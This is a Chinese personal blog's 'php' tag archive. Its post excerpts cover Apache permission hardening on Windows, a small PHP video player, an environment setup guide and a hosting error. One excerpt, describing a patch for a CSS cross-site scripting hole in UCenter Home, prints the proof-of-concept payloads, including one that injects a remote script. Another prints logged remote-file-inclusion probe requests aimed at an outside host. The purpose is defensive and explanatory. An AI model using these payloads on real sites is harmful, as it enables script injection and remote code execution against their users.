Tag Archives: php

Windows下Apache应用环境塔建安全设置(目录权限设置)

目的:为Apache,php配置受限制的用户权限。 环境搭建可以参考以前写的这篇文章:Windows下Apache应用环境塔建 http://clin003.com/ideas/windows-apache-install-useing-like-php-python-subversion-1330/。 环境配置情况: apache安装目录:d:\www-s\apache php目录:d:\www-s\php5 mysql目录:d:\www-s\mysql 网站根目录:d:\www\htdocs 专门为运行Apache运行所使用的用户:apache-u(可不隶属于任何用户组) PS:这里只说Windows下Apache应用环境相关的目录权限设置,至于其他基本的服务器目录权限设置就不提啦! Windows下Apache应用环境塔建目录安全设置操作步骤: 配置目录权限 Apache所在的根目录(也就是D盘),只需要读取的权限,并且这个读取权限不需要继承到子目录与文件(可以在权限设置高级里选择——应用到:只有该文件夹——权限:列出文件夹/读取数据, 读取属性,读取扩展属性,读取权限——确定)。 Apache安装目录的上级目录(d:\www-s),需要“读取”的权限(和根目录D盘的权限雷同)。 Apache安装目录,需要“列出文件夹目录”和“读取”的权限(可以为了方便使用继承)。 Apache安装目录下的子目录权限设置 “bin”和“modules”目录需要“读取和运行”、“列出文件夹和目录”、“读取”的权限。 “logs”目录需要“列出文件夹和目录”、“读取”、“写入”的权限(若Apache安装目录的权限使用啦继承,可只添加“写入”权限即可)。 到这里Apache的权限已经设置完毕,接下来设置PHP的权限 PHP目录(PHP5)可简单的设置为“读取和运行”、“列出文件夹和目录”、“读取”的权限。 Mysql目录下的bin文件夹和文件(mysql)需要为添加apache用户的“遍历文件夹和运行文件”、“列出文件夹和读取数据”的权限(可以在权限高级设置里找到)。 到这里Apache+Mysql+Php已经基本可以使用,接着配置网站根目录权限 网站根目录(www\htdocs)的上级目录www需要读取(“列出文件夹和读取数据”、“读取属性”、“读取扩展属性”、“读取权限”)的权限(和Apache的上级目录权限雷同,不需要继承到子目录和文件中去)。 网站根目录(htdocs)可简单的设置“读取”权限就可以啦(然后可以根据需要对缓存文件夹设置可写权限)。 到这里Apache+PHP+Mysql的环境受限制权限设置基本完成。 为Apache服务启用受限制用户 进入服务管理器(Services.msc,或者“我的电脑——属性——管理——服务”),找到Apache的服务项(Apache2.2),设置属性,登录用户选择受限用户(Apache-u)输入受限用户的密码,应用,确定。 这里“确定”之后一般会有提示(已授予账户.\apache-u“以服务方式登录”的权利)。这个提示相当于在组策略(开始->管理工具->本地安全策略,或者使用gpedit.msc打开)中的“用户权利分配”中选择“作为服务登陆”,添加apache-u用户。 可在任务管理器中查看httpd.exe进程的用户名为apache-u,使用PHP+Mysql的程序都可正常运行。 到这里已经完成啦“Windows下Apache应用环境目录权限”的受限制使用设置。 补充3: 可以在目录(具有可写权限的)下建个 .htaccess 内容写上: RewriteEngine On Order Allow,Deny Deny … Continue reading

Posted in 今日一点, 服务器 | Tagged , , , | Leave a comment

今日杂碎:拼啦个PHP的QVOD流媒体播放程序

一共四个文件,电影的地址和名称是和程序播放文件分开存放的,主要是因为没有使用数据库,这样方便添加和修改电影地址与名称信息。 好久没跟代码见过面啦,这一动还真是有趣,特别是使用一些函数而不清楚概念的时候找啊找啊,那种感觉仿佛又回到了在学校逃课跑机房玩Fedora样(瞎折腾,出来校门后就没多少机会玩那个啦,真想XX!)。 这几十行代码是为啦我方便用的,因为数据不多,又不想用啥网猫(netmao),天空网络,马克斯那些“大”程序,就自个来更生几句,难免有疏忽和不尽如人意的地方。。 代码我放Google code,和wiki各一份,地址是: http://code.google.com/p/qvod-player/ http://wiki.clin003.com/wiki/Php%E7%AE%80%E5%8D%95%E7%94%B5%E5%BD%B1%E6%92%AD%E6%94%BE mv_simple_play_lan 若有兴趣用,里边有注释,并且代码不复杂,很容易修改的。

Posted in 今日一点, 代码调试 | Tagged , | 1 Comment

修补UCH1.2及1.5测试版的跨站攻击漏洞办法

漏洞说明见: http://www.discuz.net/viewthread.php?tid=996230 http://www.discuz.net/thread-1000860-1-1.html 影响版本:UCH1.2正式版,及1.5的测试版 漏洞原因:没有对DIY(自定义)风格提交的CSS代码进行有效的检查过滤 漏洞演示代码: #content {cos:expression(if(!window.x){alert(‘欢迎您的光临! —但愿我没有雷到你’);window.x=1;})} body { background-image: url(‘javascript:document.write(”<script src=http://bb.clin003.com/js.js></script>”)’) } 漏洞攻击演示截图: 修补办法(添加过滤检查提交的CSS代码的函数,对CSS代码检测后再提交给系统更新): 第一步: 打开source目录下的cp_theme.php在 $css = getstr($_POST['css'], 5000, 1, 1); $nocss = empty($_POST['nocss'])?0:1; 下边 updatetable(‘spacefield’, array(‘theme’=>”, ‘css’=>$css, ‘nocss’=>$nocss), array(‘uid’=>$_SGLOBAL['supe_uid'])); updatetable(‘session’, array(‘nocss’=>$nocss), array(‘uid’=>$_SGLOBAL['supe_uid'])); 的上边 添加检查语句: $css … Continue reading

Posted in 今日一点, 代码调试 | Tagged , , | Leave a comment

Windows下Apache应用环境塔建

刚刚由于mod_python加载后导致apache自动关闭,还有本来这个测试环境塔建的就相对的乱,所以就卸掉了python mod_python apache php等,重新来过,并且记录下搭建步骤,如果你有兴趣请继续看。 所需软件: Apache 2.2.9:下载 apache_2.2.9-win32-x86-openssl-0.9.8h-r2.msi (MSI Installer) php 5.2.6:下载 Windows Binaries – php-5.2.6-Win32.zip package Python 2.5.2 Windows installer:下载Python 2.5.2 mod_python:下载mod_python 3.3.1,注意要下载 mod_python-3.3.1.win32-py2.5-Apache2.2.exe 文件。 subversion:下载 subversion 1.5.0,建议下载 zip 版 svn-win32-1.5.0.zip。 Dependency Walker 可以查看程序运行所必需的 .dll 文件。安装了 Microsoft Visual C++ … Continue reading

Posted in 今日一点, 代码调试 | Tagged , , , , | 1 Comment

很荣幸!竟然有人来检测这个Blog啦

日志里发现的可疑记录: 66.98.140.99 – – [06/Jun/2008:08:52:32 +0800] “GET /map/sitemap.xml/playing.php/common/db.php?commonpath=http://moshow.co.il/language/id.txt? HTTP/1.0″ 404 3483 “-” “libwww-perl/5.65″ 66.98.140.99 – – [06/Jun/2008:08:52:32 +0800] “GET /playing.php/common/db.php?commonpath=http://moshow.co.il/language/id.txt? HTTP/1.0″ 302 592 “-” “libwww-perl/5.65″ 66.98.140.99 – – [06/Jun/2008:08:52:36 +0800] “GET /playing.php/common/db.php?commonpath=http://moshow.co.il/language/id.txt? HTTP/1.0″ 404 11767 “-” “libwww-perl/5.65″ 66.98.140.99 – – … Continue reading

Posted in 今日一点 | Tagged , | Leave a comment

主页出现问题,貌似虚拟主机服务商限制session

CGI/PHP程序错误: 实际用户ID无法改变! 实际用户ID无法改变! 服务器端配置: Server Administrator/Contact: [no address given] Server Name: clin003.com Server Port: 80 Server Protocol: HTTP/1.1 访问请求数据: User Agent/Browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Request Method: GET Remote Address: 218.28.161.254 Remote Port: 2663 顺便截个图来:

Posted in 关于空间, 服务器 | Tagged , , , | Leave a comment